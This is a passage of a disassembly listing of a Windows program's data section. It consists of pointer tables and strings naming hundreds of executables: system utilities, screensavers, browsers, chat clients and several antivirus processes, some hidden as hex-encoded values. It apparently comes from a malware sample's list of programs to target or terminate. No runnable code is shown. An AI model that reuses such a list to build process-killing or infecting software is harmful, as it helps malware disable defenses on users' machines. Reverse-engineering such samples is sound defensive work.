		dd offset aRegtlib_exe	; "REGTLIB.EXE"
		dd offset aSetdebug_exe	; "setdebug.exe"
		dd offset aSetup1_exe	; "Setup1.exe"
		dd offset aSoundman_exe	; "SOUNDMAN.EXE"
		dd offset aSt6unst_exe	; "ST6UNST.EXE"
		dd offset aTaskman_exe	; "TASKMAN.EXE"
		dd offset aTwunk_16_exe	; "twunk_16.exe"
		dd offset aTwunk_32_exe	; "twunk_32.exe"
		dd offset aWinhelp_exe	; "winhelp.exe"
		dd offset aWinhlp32_exe	; "winhlp32.exe"
		dd offset aSystem_1	; "System"
		dd offset aHtpatch_exe	; "htpatch.exe"
		dd offset aPoint32_exe	; "point32.exe"
		dd offset aSmagent_exe	; "smagent.exe"
		dd offset aSmax4pnp_exe	; "smax4pnp.exe"
		dd offset aSound_exe	; "*sound*.exe"
off_449008	dd offset dword_4439A8	; DATA XREF: sub_41F0F5:loc_41F2B1r
		dd offset aAsr__exe	; "asr_*.exe"
		dd offset aWmsoft_exe	; "wmsoft*.exe"
		dd offset aWmpcodecs_exe ; "wmpcodecs.exe"
		dd offset aMsxml32_exe	; "msxml32.exe"
		dd offset aMswupd_exe	; "mswupd.exe"
		dd offset aMsnmsgr_exe	; "msnmsgr.exe"
		dd offset aWmiprvse_exe	; "wmiprvse.exe"
		dd offset aMsmsgs_exe	; "msmsgs.exe"
		dd offset aMirc_exe	; "mirc.exe"
		dd offset aXchat_exe	; "xchat.exe"
		dd offset aFirefox_exe	; "firefox.exe"
		dd offset aThunderbird_ex ; "thunderbird.exe"
		dd offset aIexplore_exe	; "iexplore.exe"
		dd offset aMsimn_exe	; "msimn.exe"
		dd offset aMsoe_exe	; "msoe.exe"
		dd offset aDefwatch_exe	; "defwatch.exe"
		dd offset aRtvscan_exe	; "rtvscan.exe"
		dd offset aCcapp_exe	; "ccapp.exe"
		dd offset aAim_exe	; "aim.exe"
		dd offset aCcevtmgr_exe	; "ccevtmgr.exe"
		dd offset aCcsetmgr_exe	; "ccsetmgr.exe"
		dd offset aIexplore_exe	; "iexplore.exe"
		dd offset aWordpad_exe	; "wordpad.exe"
		dd offset aSteam_exe	; "steam.exe"
		dd offset aAutoexec_bat	; "AUTOEXEC.BAT"
		dd offset aWmpnscfg_exe	; "wmpnscfg.exe"
		dd offset aNotepad_exe_0 ; "notepad.exe"
		dd offset aWvsscheduler_e ; "WVSScheduler.exe"
		dd offset dword_449190
		dd offset dword_449180
		dd offset dword_449170
		dd offset dword_449164
		dd offset dword_449158
		dd offset dword_449150
		dd offset dword_449144
		dd offset dword_449138
		dd offset dword_44912C
		dd offset dword_44911C
		dd offset dword_449110
		dd offset dword_449100
		dd offset dword_4490F4
		dd offset dword_4490E8
		dd offset dword_4490D8
		dd offset aUninstall__exe ; "uninstall_.exe"
		dd offset aTrkwkss_exe	; "trkwkss.exe"
		dd offset aWuaucpl_exe	; "wuaucpl.exe"
		dd offset aTrkwksvc_exe	; "trkwksvc.exe"
		dd offset aWmssvc_exe	; "wmssvc.exe"
		dd offset aWmsncs_exe	; "wmsncs.exe"
		dd offset aWiadss_exe	; "wiadss.exe"
		dd offset aWmsnchrs_exe	; "wmsnchrs.exe"
dword_4490D8	dd 6C706D77h, 72657961h, 6578652Eh, 0dword_4490E8	dd 726E6977h, 652E7261h, 6578hdword_4490F4	dd 69766F6Dh, 2E6B6D65h, 657865hdword_449100	dd 61677661h, 7276736Dh, 6578652Eh, 0dword_449110	dd 63677661h, 78652E63h, 65hdword_44911C	dd 75677661h, 63767370h, 6578652Eh, 0dword_44912C	dd 63617061h, 652E6568h, 6578hdword_449138	dd 70616D6Eh, 6578652Eh, 0dword_449144	dd 74747570h, 78652E79h, 65hdword_449150	dd 63732E2Ah, 72hdword_449158	dd 7A6E6977h, 652E7069h, 6578hdword_449164	dd 65747563h, 2E707466h, 657865hdword_449170	dd 73616C66h, 70786668h, 6578652Eh, 0dword_449180	dd 54616554h, 72656D69h, 6578652Eh, 0dword_449190	dd 7253534Ch, 652E6376h, 6578haWvsscheduler_e	db 'WVSScheduler.exe',0 ; DATA XREF: .text:00449078o
		align 10h
aWmpnscfg_exe	db 'wmpnscfg.exe',0     ; DATA XREF: .text:00449070o
		align 10h
aAutoexec_bat	db 'AUTOEXEC.BAT',0     ; DATA XREF: .text:0044906Co
		align 10h
aSteam_exe	db 'steam.exe',0        ; DATA XREF: .text:00449068o
		align 4
aWordpad_exe	db 'wordpad.exe',0      ; DATA XREF: .text:00449064o
aCcsetmgr_exe	db 'ccsetmgr.exe',0     ; DATA XREF: .text:0044905Co
		align 4
aCcevtmgr_exe	db 'ccevtmgr.exe',0     ; DATA XREF: .text:00449058o
		align 4
aAim_exe	db 'aim.exe',0          ; DATA XREF: .text:00449054o
aCcapp_exe	db 'ccapp.exe',0        ; DATA XREF: .text:00449050o
		align 4
aRtvscan_exe	db 'rtvscan.exe',0      ; DATA XREF: .text:0044904Co
aDefwatch_exe	db 'defwatch.exe',0     ; DATA XREF: .text:00449048o
		align 4
aMsoe_exe	db 'msoe.exe',0         ; DATA XREF: .text:00449044o
		align 4
aMsimn_exe	db 'msimn.exe',0        ; DATA XREF: .text:00449040o
		align 10h
aThunderbird_ex	db 'thunderbird.exe',0  ; DATA XREF: .text:00449038o
aFirefox_exe	db 'firefox.exe',0      ; DATA XREF: .text:00449034o
aXchat_exe	db 'xchat.exe',0        ; DATA XREF: .text:00449030o
		align 4
aMirc_exe	db 'mirc.exe',0         ; DATA XREF: .text:0044902Co
		align 4
aMsmsgs_exe	db 'msmsgs.exe',0       ; DATA XREF: .text:00449028o
		align 10h
aWmiprvse_exe	db 'wmiprvse.exe',0     ; DATA XREF: .text:00449024o
		align 10h
aMsnmsgr_exe	db 'msnmsgr.exe',0      ; DATA XREF: .text:00449020o
aMswupd_exe	db 'mswupd.exe',0       ; DATA XREF: .text:0044901Co
		align 4
aMsxml32_exe	db 'msxml32.exe',0      ; DATA XREF: .text:00449018o
aWmpcodecs_exe	db 'wmpcodecs.exe',0    ; DATA XREF: .text:00449014o
		align 4
aSound_exe	db '*sound*.exe',0      ; DATA XREF: .text:00449004o
aHtpatch_exe	db 'htpatch.exe',0      ; DATA XREF: .text:00448FF4o
aWinhelp_exe	db 'winhelp.exe',0      ; DATA XREF: .text:00448FE8o
aTaskman_exe	db 'TASKMAN.EXE',0      ; DATA XREF: .text:00448FDCo
aSt6unst_exe	db 'ST6UNST.EXE',0      ; DATA XREF: .text:00448FD8o
aSoundman_exe	db 'SOUNDMAN.EXE',0     ; DATA XREF: .text:00448FD4o
		align 10h
aSetup1_exe	db 'Setup1.exe',0       ; DATA XREF: .text:00448FD0o
		align 4
aSetdebug_exe	db 'setdebug.exe',0     ; DATA XREF: .text:00448FCCo
		align 4
aRegtlib_exe	db 'REGTLIB.EXE',0      ; DATA XREF: .text:00448FC8o
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: .text:00448FC4o
aNotepad_exe	db 'NOTEPAD.EXE',0      ; DATA XREF: .text:00448FC0o
aIun6002_exe	db 'iun6002.exe',0      ; DATA XREF: .text:00448FBCo
aIsuninst_exe	db 'IsUninst.exe',0     ; DATA XREF: .text:00448FB8o
		align 4
aHh_exe		db 'hh.exe',0           ; DATA XREF: .text:00448FB4o
		align 4
aExplorer_exe_0	db 'explorer.exe',0     ; DATA XREF: .text:00448FB0o
		align 4
aAlcupd_exe	db 'alcupd.exe',0       ; DATA XREF: .text:00448FACo
		align 10h
aAlcrmv_exe	db 'alcrmv.exe',0       ; DATA XREF: .text:00448FA8o
		align 4
aRtlupd_exe	db 'RtlUpd.exe',0       ; DATA XREF: .text:00448FA4o
		align 4
aMiccal_exe	db 'MicCal.exe',0       ; DATA XREF: .text:00448FA0o
		align 4
aRthdcpl_exe	db 'RTHDCPL.EXE',0      ; DATA XREF: .text:00448F98o
aAlcwzrd_exe	db 'ALCWZRD.EXE',0      ; DATA XREF: .text:00448F90o
aAlcmtr_exe	db 'ALCMTR.EXE',0       ; DATA XREF: .text:00448F8Co
		align 4
aWrvmchars_exe	db 'wrvmchars.exe',0    ; DATA XREF: .text:00448F7Co
		align 4
aWmsnchrs_exe	db 'wmsnchrs.exe',0     ; DATA XREF: .text:00448F78o
					; .text:004490D4o
		align 4
aWiadss_exe	db 'wiadss.exe',0       ; DATA XREF: .text:00448F74o
					; .text:004490D0o
		align 4
aWmsncs_exe	db 'wmsncs.exe',0       ; DATA XREF: .text:00448F70o
					; .text:004490CCo
		align 10h
aWmssvc_exe	db 'wmssvc.exe',0       ; DATA XREF: .text:00448F6Co
					; .text:004490C8o
		align 4
aTrkwksvc_exe	db 'trkwksvc.exe',0     ; DATA XREF: .text:00448F68o
					; .text:004490C4o
		align 4
aWuaucpl_exe	db 'wuaucpl.exe',0      ; DATA XREF: .text:00448F64o
					; .text:004490C0o
aTrkwkss_exe	db 'trkwkss.exe',0      ; DATA XREF: .text:00448F60o
					; .text:004490BCo
aUninstall__exe	db 'uninstall_.exe',0   ; DATA XREF: .text:00448F5Co
					; .text:004490B8o
		align 4
aHidserv_exe	db 'hidserv.exe',0      ; DATA XREF: .text:00448F58o
aSlsvc_exe	db 'slsvc.exe',0        ; DATA XREF: .text:00448F54o
		align 4
aSdclt_exe	db 'sdclt.exe',0        ; DATA XREF: .text:00448F50o
		align 4
aRegsvc_exe	db 'regsvc.exe',0       ; DATA XREF: .text:00448F4Co
		align 4
aMssearch_exe	db 'mssearch.exe',0     ; DATA XREF: .text:00448F48o
		align 4
aMdm_exe	db 'mdm.exe',0          ; DATA XREF: .text:00448F44o
aLsm_exe	db 'lsm.exe',0          ; DATA XREF: .text:00448F40o
aDwm_exe	db 'dwm.exe',0          ; DATA XREF: .text:00448F3Co
aLexbces_exe	db 'lexbces.exe',0      ; DATA XREF: .text:00448F38o
aLoadqm_exe	db 'loadqm.exe',0       ; DATA XREF: .text:00448F34o
		align 4
aSmax4pnp_exe	db 'smax4pnp.exe',0     ; DATA XREF: .text:00448F30o
					; .text:00449000o
		align 4
aTphkmgr_exe	db 'TPHKMGR.exe',0      ; DATA XREF: .text:00448F2Co
aCli_exe	db 'cli.exe',0          ; DATA XREF: .text:00448F28o
aHpzipm12_exe	db 'HPZipm12.exe',0     ; DATA XREF: .text:00448F24o
		align 4
aNhksrv_exe	db 'nhksrv.exe',0       ; DATA XREF: .text:00448F20o
		align 4
aHpcmpmgr_exe	db 'hpcmpmgr.exe',0     ; DATA XREF: .text:00448F1Co
		align 4
aHpsysdrv_exe	db 'hpsysdrv.exe',0     ; DATA XREF: .text:00448F18o
		align 4
aNmssvc_exe	db 'nmssvc.exe',0       ; DATA XREF: .text:00448F14o
		align 10h
aSmagent_exe	db 'smagent.exe',0      ; DATA XREF: .text:00448F10o
					; .text:00448FFCo
aMstask_exe	db 'mstask.exe',0       ; DATA XREF: .text:00448F0Co
		align 4
aPctspk_exe	db 'pctspk.exe',0       ; DATA XREF: .text:00448F08o
		align 4
aIgfxtray_exe	db 'igfxtray.exe',0     ; DATA XREF: .text:00448F04o
		align 4
aIgfxpers_exe	db 'igfxpers.exe',0     ; DATA XREF: .text:00448F00o
		align 4
aInetinfo_exe	db 'inetinfo.exe',0     ; DATA XREF: .text:00448EFCo
		align 4
aCrypserv_exe	db 'crypserv.exe',0     ; DATA XREF: .text:00448EF8o
		align 4
aWisptis_exe	db 'wisptis.exe',0      ; DATA XREF: .text:00448EF4o
aQttask_exe	db 'qttask.exe',0       ; DATA XREF: .text:00448EF0o
		align 4
aPoint32_exe	db 'point32.exe',0      ; DATA XREF: .text:00448EECo
					; .text:00448FF8o
aJusched_exe	db 'jusched.exe',0      ; DATA XREF: .text:00448EE8o
aHotkey_exe	db 'hotkey.exe',0       ; DATA XREF: .text:00448EE4o
		align 10h
aHkcmd_exe	db 'hkcmd.exe',0        ; DATA XREF: .text:00448EE0o
		align 4
aTaskeng_exe	db 'taskeng.exe',0      ; DATA XREF: .text:00448EDCo
aWercon_exe	db 'wercon.exe',0       ; DATA XREF: .text:00448ED8o
		align 4
aWinmgmt_exe	db 'winmgmt.exe',0      ; DATA XREF: .text:00448ED4o
aWmiexe_exe	db 'wmiexe.exe',0       ; DATA XREF: .text:00448ED0o
		align 4
aPenservice_exe	db 'penservice.exe',0   ; DATA XREF: .text:00448ECCo
		align 4
aWudfhost_exe	db 'WUDFHost.exe',0     ; DATA XREF: .text:00448EC8o
		align 4
aInternat_exe	db 'internat.exe',0     ; DATA XREF: .text:00448EC0o
		align 4
aDevldr32_exe	db 'devldr32.exe',0     ; DATA XREF: .text:00448EBCo
		align 4
aSystem_1	db 'System',0           ; DATA XREF: .text:00448EB8o
					; .text:00448FF0o
		align 4
aSstext3d_scr	db 'sstext3d.scr',0     ; DATA XREF: .text:00448EB4o
		align 4
aSsstars_scr	db 'ssstars.scr',0      ; DATA XREF: .text:00448EB0o
aSspipes_scr	db 'sspipes.scr',0      ; DATA XREF: .text:00448EACo
aSsmyst_scr	db 'ssmyst.scr',0       ; DATA XREF: .text:00448EA8o
		align 4
aSsmypics_scr	db 'ssmypics.scr',0     ; DATA XREF: .text:00448EA4o
		align 4
aSsmarque_scr	db 'ssmarque.scr',0     ; DATA XREF: .text:00448EA0o
		align 4
aSsflwbox_scr	db 'ssflwbox.scr',0     ; DATA XREF: .text:00448E9Co
		align 4
aSsbezier_scr	db 'ssbezier.scr',0     ; DATA XREF: .text:00448E98o
		align 4
aSs3dfo_scr	db 'ss3dfo.scr',0       ; DATA XREF: .text:00448E94o
		align 4
aSeismosaver_sc	db 'SeismoSaver.scr',0  ; DATA XREF: .text:00448E90o
aScrnsave_scr	db 'scrnsave.scr',0     ; DATA XREF: .text:00448E8Co
		align 4
aLogon_scr	db 'logon.scr',0        ; DATA XREF: .text:00448E88o
		align 10h
aAcdsee_scr	db 'ACDSee.scr',0       ; DATA XREF: .text:00448E84o
		align 4
aXcopy_exe	db 'xcopy.exe',0        ; DATA XREF: .text:00448E80o
		align 4
aWupdmgr_exe	db 'wupdmgr.exe',0      ; DATA XREF: .text:00448E7Co
aWuauclt1_exe	db 'wuauclt1.exe',0     ; DATA XREF: .text:00448E78o
		align 4
aWuauclt_exe	db 'wuauclt.exe',0      ; DATA XREF: .text:00448E74o
aWscript_exe	db 'wscript.exe',0      ; DATA XREF: .text:00448E70o
aWscntfy_exe	db 'wscntfy.exe',0      ; DATA XREF: .text:00448E6Co
aWrite_exe	db 'write.exe',0        ; DATA XREF: .text:00448E68o
		align 4
aWpnpinst_exe	db 'wpnpinst.exe',0     ; DATA XREF: .text:00448E64o
		align 4
aWpabaln_exe	db 'wpabaln.exe',0      ; DATA XREF: .text:00448E60o
aWowexec_exe	db 'wowexec.exe',0      ; DATA XREF: .text:00448E5Co
aWowdeb_exe	db 'wowdeb.exe',0       ; DATA XREF: .text:00448E58o
		align 4
aWjview_exe	db 'wjview.exe',0       ; DATA XREF: .text:00448E54o
		align 4
aWinver_exe	db 'winver.exe',0       ; DATA XREF: .text:00448E50o
		align 10h
aWinspool_exe	db 'winspool.exe',0     ; DATA XREF: .text:00448E4Co
		align 10h
aWinmsd_exe	db 'winmsd.exe',0       ; DATA XREF: .text:00448E48o
		align 4
aWinmine_exe	db 'winmine.exe',0      ; DATA XREF: .text:00448E44o
aWinhlp32_exe	db 'winhlp32.exe',0     ; DATA XREF: .text:00448E40o
					; .text:00448FECo
		align 4
aWindbver_exe	db 'WINDBVER.EXE',0     ; DATA XREF: .text:00448E3Co
		align 4
aWinchat_exe	db 'winchat.exe',0      ; DATA XREF: .text:00448E38o
aWiaacmgr_exe	db 'wiaacmgr.exe',0     ; DATA XREF: .text:00448E34o
		align 4
aWextract_exe	db 'wextract.exe',0     ; DATA XREF: .text:00448E30o
		align 4
aW32tm_exe	db 'w32tm.exe',0        ; DATA XREF: .text:00448E2Co
		align 10h
aVwipxspx_exe	db 'vwipxspx.exe',0     ; DATA XREF: .text:00448E28o
		align 10h
aVssvc_exe	db 'vssvc.exe',0        ; DATA XREF: .text:00448E24o
		align 4
aVssadmin_exe	db 'vssadmin.exe',0     ; DATA XREF: .text:00448E20o
		align 4
aViral_exe	db 'viral.exe',0        ; DATA XREF: .text:00448E1Co
		align 4
aVerifier_exe	db 'verifier.exe',0     ; DATA XREF: .text:00448E18o
		align 4
aVerclsid_exe	db 'verclsid.exe',0     ; DATA XREF: .text:00448E14o
		align 4
aUtilman_exe	db 'utilman.exe',0      ; DATA XREF: .text:00448E10o
aUsrshuta_exe	db 'usrshuta.exe',0     ; DATA XREF: .text:00448E0Co
		align 4
aUsrprbda_exe	db 'usrprbda.exe',0     ; DATA XREF: .text:00448E08o
		align 4
aUsrmlnka_exe	db 'usrmlnka.exe',0     ; DATA XREF: .text:00448E04o
		align 4
aUserinit_exe	db 'userinit.exe',0     ; DATA XREF: .text:00448E00o
		align 4
aUser_exe	db 'user.exe',0         ; DATA XREF: .text:00448DFCo
		align 10h
aUps_exe	db 'ups.exe',0          ; DATA XREF: .text:00448DF8o
aUpnpcont_exe	db 'upnpcont.exe',0     ; DATA XREF: .text:00448DF4o
		align 4
aUnlodctr_exe	db 'unlodctr.exe',0     ; DATA XREF: .text:00448DF0o
		align 4
aTypeperf_exe	db 'typeperf.exe',0     ; DATA XREF: .text:00448DECo
		align 4
aTwunk_32_exe	db 'twunk_32.exe',0     ; DATA XREF: .text:00448DE8o
					; .text:00448FE4o
		align 4
aTwunk_16_exe	db 'twunk_16.exe',0     ; DATA XREF: .text:00448DE4o
					; .text:00448FE0o
		align 4
aTsshutdn_exe	db 'tsshutdn.exe',0     ; DATA XREF: .text:00448DE0o
		align 4
aTskill_exe	db 'tskill.exe',0       ; DATA XREF: .text:00448DDCo
		align 4
aTsdiscon_exe	db 'tsdiscon.exe',0     ; DATA XREF: .text:00448DD8o
		align 4
aTscupgrd_exe	db 'tscupgrd.exe',0     ; DATA XREF: .text:00448DD4o
		align 4
aTscon_exe	db 'tscon.exe',0        ; DATA XREF: .text:00448DD0o
		align 10h
aTracert6_exe	db 'tracert6.exe',0     ; DATA XREF: .text:00448DCCo
		align 10h
aTracert_exe	db 'tracert.exe',0      ; DATA XREF: .text:00448DC8o
aTracerpt_exe	db 'tracerpt.exe',0     ; DATA XREF: .text:00448DC4o
		align 4
aTourstart_exe	db 'tourstart.exe',0    ; DATA XREF: .text:00448DC0o
		align 4
aTlntsvr_exe	db 'tlntsvr.exe',0      ; DATA XREF: .text:00448DBCo
aTlntsess_exe	db 'tlntsess.exe',0     ; DATA XREF: .text:00448DB8o
		align 4
aTlntadmn_exe	db 'tlntadmn.exe',0     ; DATA XREF: .text:00448DB4o
		align 4
aTftp_exe	db 'tftp.exe',0         ; DATA XREF: .text:00448DB0o
		align 4
aTelnet_exe	db 'telnet.exe',0       ; DATA XREF: .text:00448DACo
		align 10h
aTcpsvcs_exe	db 'tcpsvcs.exe',0      ; DATA XREF: .text:00448DA8o
aTcmsetup_exe	db 'tcmsetup.exe',0     ; DATA XREF: .text:00448DA4o
		align 4
aTaskmgr_exe	db 'taskmgr.exe',0      ; DATA XREF: .text:00448DA0o
aTaskman_exe_0	db 'taskman.exe',0      ; DATA XREF: .text:00448D9Co
aTasklist_exe	db 'tasklist.exe',0     ; DATA XREF: .text:00448D98o
		align 4
aTaskkill_exe	db 'taskkill.exe',0     ; DATA XREF: .text:00448D94o
		align 4
aSystray_exe	db 'systray.exe',0      ; DATA XREF: .text:00448D90o
aSysteminfo_exe	db 'systeminfo.exe',0   ; DATA XREF: .text:00448D8Co
		align 10h
aSysocmgr_exe	db 'sysocmgr.exe',0     ; DATA XREF: .text:00448D88o
		align 10h
aSyskey_exe	db 'syskey.exe',0       ; DATA XREF: .text:00448D84o
		align 4
aSysedit_exe	db 'sysedit.exe',0      ; DATA XREF: .text:00448D80o
aSyncapp_exe	db 'syncapp.exe',0      ; DATA XREF: .text:00448D7Co
aSvchost_exe	db 'svchost.exe',0      ; DATA XREF: .text:00448D78o
aSubst_exe	db 'subst.exe',0        ; DATA XREF: .text:00448D74o
		align 4
aSubrange_uce	db 'subrange.uce',0     ; DATA XREF: .text:00448D70o
		align 4
aStimon_exe	db 'stimon.exe',0       ; DATA XREF: .text:00448D6Co
		align 4
aSpupdsvc_exe	db 'spupdsvc.exe',0     ; DATA XREF: .text:00448D68o
		align 4
aSprestrt_exe	db 'sprestrt.exe',0     ; DATA XREF: .text:00448D64o
		align 4
aSpoolsv_exe	db 'spoolsv.exe',0      ; DATA XREF: .text:00448D60o
aSpnpinst_exe	db 'spnpinst.exe',0     ; DATA XREF: .text:00448D5Co
		align 4
aSpiisupd_exe	db 'spiisupd.exe',0     ; DATA XREF: .text:00448D58o
		align 4
aSpider_exe	db 'spider.exe',0       ; DATA XREF: .text:00448D54o
		align 10h
aSort_exe	db 'sort.exe',0         ; DATA XREF: .text:00448D50o
		align 4
aSol_exe	db 'sol.exe',0          ; DATA XREF: .text:00448D4Co
aSndvol32_exe	db 'sndvol32.exe',0     ; DATA XREF: .text:00448D48o
		align 4
aSndrec32_exe	db 'sndrec32.exe',0     ; DATA XREF: .text:00448D44o
		align 4
aSmss_exe	db 'smss.exe',0         ; DATA XREF: .text:00448D40o
		align 10h
aSmlogsvc_exe	db 'smlogsvc.exe',0     ; DATA XREF: .text:00448D3Co
		align 10h
aSmbinst_exe	db 'smbinst.exe',0      ; DATA XREF: .text:00448D38o
aSkeys_exe	db 'skeys.exe',0        ; DATA XREF: .text:00448D34o
		align 4
aSigverif_exe	db 'sigverif.exe',0     ; DATA XREF: .text:00448D30o
		align 4
aShutdown_exe	db 'shutdown.exe',0     ; DATA XREF: .text:00448D2Co
		align 4
aShrpubw_exe	db 'shrpubw.exe',0      ; DATA XREF: .text:00448D28o
aShmgrate_exe	db 'shmgrate.exe',0     ; DATA XREF: .text:00448D24o
		align 4
aShare_exe	db 'share.exe',0        ; DATA XREF: .text:00448D20o
		align 10h
aShadow_exe	db 'shadow.exe',0       ; DATA XREF: .text:00448D1Co
		align 4
aSfc_exe	db 'sfc.exe',0          ; DATA XREF: .text:00448D18o
aSetver_exe	db 'setver.exe',0       ; DATA XREF: .text:00448D14o
		align 10h
aSetup_exe	db 'setup.exe',0        ; DATA XREF: .text:00448D10o
		align 4
aSethc_exe	db 'sethc.exe',0        ; DATA XREF: .text:00448D0Co
		align 4
aSessmgr_exe	db 'sessmgr.exe',0      ; DATA XREF: .text:00448D08o
aServices_exe	db 'services.exe',0     ; DATA XREF: .text:00448D04o
		align 4
aSecedit_exe	db 'secedit.exe',0      ; DATA XREF: .text:00448D00o
aSdbinst_exe	db 'sdbinst.exe',0      ; DATA XREF: .text:00448CFCo
aSchtasks_exe	db 'schtasks.exe',0     ; DATA XREF: .text:00448CF8o
		align 4
aScardsvr_exe	db 'scardsvr.exe',0     ; DATA XREF: .text:00448CF4o
		align 4
aSc_exe		db 'sc.exe',0           ; DATA XREF: .text:00448CF0o
		align 4
aSavedump_exe	db 'savedump.exe',0     ; DATA XREF: .text:00448CECo
		align 4
aRwinsta_exe	db 'rwinsta.exe',0      ; DATA XREF: .text:00448CE8o
aRunonce_exe	db 'runonce.exe',0      ; DATA XREF: .text:00448CE4o
aRundll32_exe	db 'rundll32.exe',0     ; DATA XREF: .text:00448CE0o
		align 4
aRunas_exe	db 'runas.exe',0        ; DATA XREF: .text:00448CDCo
		align 4
aRtlcpl_exe	db 'RTLCPL.EXE',0       ; DATA XREF: .text:00448CD8o
					; .text:00448F9Co
		align 4
aRtcshare_exe	db 'rtcshare.exe',0     ; DATA XREF: .text:00448CD4o
		align 4
aRsvp_exe	db 'rsvp.exe',0         ; DATA XREF: .text:00448CD0o
		align 10h
aRsopprov_exe	db 'rsopprov.exe',0     ; DATA XREF: .text:00448CCCo
		align 10h
aRsnotify_exe	db 'rsnotify.exe',0     ; DATA XREF: .text:00448CC8o
		align 10h
aRsmui_exe	db 'rsmui.exe',0        ; DATA XREF: .text:00448CC4o
		align 4
aRsmsink_exe	db 'rsmsink.exe',0      ; DATA XREF: .text:00448CC0o
aRsm_exe	db 'rsm.exe',0          ; DATA XREF: .text:00448CBCo
aRsh_exe	db 'rsh.exe',0          ; DATA XREF: .text:00448CB8o
aRoutemon_exe	db 'routemon.exe',0     ; DATA XREF: .text:00448CB4o
		align 4
aRoute_exe	db 'route.exe',0        ; DATA XREF: .text:00448CB0o
		align 4
aRexec_exe	db 'rexec.exe',0        ; DATA XREF: .text:00448CACo
		align 10h
aReset_exe	db 'reset.exe',0        ; DATA XREF: .text:00448CA8o
		align 4
aReplace_exe	db 'replace.exe',0      ; DATA XREF: .text:00448CA4o
aRelog_exe	db 'relog.exe',0        ; DATA XREF: .text:00448CA0o
		align 4
aRegwiz_exe	db 'regwiz.exe',0       ; DATA XREF: .text:00448C9Co
		align 10h
aRegsvr32_exe	db 'regsvr32.exe',0     ; DATA XREF: .text:00448C98o
		align 10h
aRegini_exe	db 'regini.exe',0       ; DATA XREF: .text:00448C94o
		align 4
aRegedt32_exe	db 'regedt32.exe',0     ; DATA XREF: .text:00448C90o
		align 4
aRegcladm_exe	db 'REGCLADM.EXE',0     ; DATA XREF: .text:00448C8Co
		align 4
aReg_exe	db 'reg.exe',0          ; DATA XREF: .text:00448C88o
aRedir_exe	db 'redir.exe',0        ; DATA XREF: .text:00448C84o
		align 10h
aRecover_exe	db 'recover.exe',0      ; DATA XREF: .text:00448C80o
aRdshost_exe	db 'rdshost.exe',0      ; DATA XREF: .text:00448C7Co
aRdsaddin_exe	db 'rdsaddin.exe',0     ; DATA XREF: .text:00448C78o
		align 4
aRdpclip_exe	db 'rdpclip.exe',0      ; DATA XREF: .text:00448C74o
aRcp_exe	db 'rcp.exe',0          ; DATA XREF: .text:00448C70o
aRcimlby_exe	db 'rcimlby.exe',0      ; DATA XREF: .text:00448C6Co
aRasphone_exe	db 'rasphone.exe',0     ; DATA XREF: .text:00448C68o
		align 4
aRasdial_exe	db 'rasdial.exe',0      ; DATA XREF: .text:00448C64o
aRasautou_exe	db 'rasautou.exe',0     ; DATA XREF: .text:00448C60o
		align 4
aQwinsta_exe	db 'qwinsta.exe',0      ; DATA XREF: .text:00448C5Co
aQprocess_exe	db 'qprocess.exe',0     ; DATA XREF: .text:00448C58o
		align 10h
aQappsrv_exe	db 'qappsrv.exe',0      ; DATA XREF: .text:00448C54o
aProxycfg_exe	db 'proxycfg.exe',0     ; DATA XREF: .text:00448C50o
		align 4
aProquota_exe	db 'proquota.exe',0     ; DATA XREF: .text:00448C4Co
		align 4
aProgman_exe	db 'progman.exe',0      ; DATA XREF: .text:00448C48o
aPrint_exe	db 'print.exe',0        ; DATA XREF: .text:00448C44o
		align 4
aPowercfg_exe	db 'powercfg.exe',0     ; DATA XREF: .text:00448C40o
		align 4
aPing6_exe	db 'ping6.exe',0        ; DATA XREF: .text:00448C3Co
		align 10h
aPing_exe	db 'ping.exe',0         ; DATA XREF: .text:00448C38o
		align 4
aPerfmon_exe	db 'perfmon.exe',0      ; DATA XREF: .text:00448C34o
aPentnt_exe	db 'pentnt.exe',0       ; DATA XREF: .text:00448C30o
		align 4
aPathping_exe	db 'pathping.exe',0     ; DATA XREF: .text:00448C2Co
		align 4
aPackager_exe	db 'packager.exe',0     ; DATA XREF: .text:00448C28o
		align 4
aOsuninst_exe	db 'osuninst.exe',0     ; DATA XREF: .text:00448C24o
		align 4
aOsk_exe	db 'osk.exe',0          ; DATA XREF: .text:00448C20o
aOpenfiles_exe	db 'openfiles.exe',0    ; DATA XREF: .text:00448C1Co
		align 4
aOdbcconf_exe	db 'odbcconf.exe',0     ; DATA XREF: .text:00448C18o
		align 4
aOdbcad32_exe	db 'odbcad32.exe',0     ; DATA XREF: .text:00448C14o
		align 4
aNwscript_exe	db 'nwscript.exe',0     ; DATA XREF: .text:00448C10o
		align 4
aNw16_exe	db 'nw16.exe',0         ; DATA XREF: .text:00448C0Co
		align 4
aNtvdm_exe	db 'ntvdm.exe',0        ; DATA XREF: .text:00448C08o
		align 4
aNtsd_exe	db 'ntsd.exe',0         ; DATA XREF: .text:00448C04o
		align 10h
aNtoskrnl_exe	db 'ntoskrnl.exe',0     ; DATA XREF: .text:00448C00o
		align 10h
aNtkrnlpa_exe	db 'ntkrnlpa.exe',0     ; DATA XREF: .text:00448BFCo
		align 10h
aNtbackup_exe	db 'ntbackup.exe',0     ; DATA XREF: .text:00448BF8o
		align 10h
aNslookup_exe	db 'nslookup.exe',0     ; DATA XREF: .text:00448BF4o
		align 10h
aNotepad_exe_0	db 'notepad.exe',0      ; DATA XREF: .text:00448BF0o
					; .text:00449074o
aNlsfunc_exe	db 'nlsfunc.exe',0      ; DATA XREF: .text:00448BECo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: .text:00448BE8o
aNetsh_exe	db 'netsh.exe',0        ; DATA XREF: .text:00448BE4o
		align 10h
aNetsetup_exe	db 'netsetup.exe',0     ; DATA XREF: .text:00448BE0o
		align 10h
aNetdde_exe	db 'netdde.exe',0       ; DATA XREF: .text:00448BDCo
		align 4
aNet1_exe	db 'net1.exe',0         ; DATA XREF: .text:00448BD8o
		align 4
aNet_exe	db 'net.exe',0          ; DATA XREF: .text:00448BD4o
aNerocheck_exe	db 'NeroCheck.exe',0    ; DATA XREF: .text:00448BD0o
		align 10h
aNddeapir_exe	db 'nddeapir.exe',0     ; DATA XREF: .text:00448BCCo
		align 10h
aNbtstat_exe	db 'nbtstat.exe',0      ; DATA XREF: .text:00448BC8o
aNarrator_exe	db 'narrator.exe',0     ; DATA XREF: .text:00448BC4o
		align 4
aMstsc_exe	db 'mstsc.exe',0        ; DATA XREF: .text:00448BC0o
		align 4
aMstinit_exe	db 'mstinit.exe',0      ; DATA XREF: .text:00448BBCo
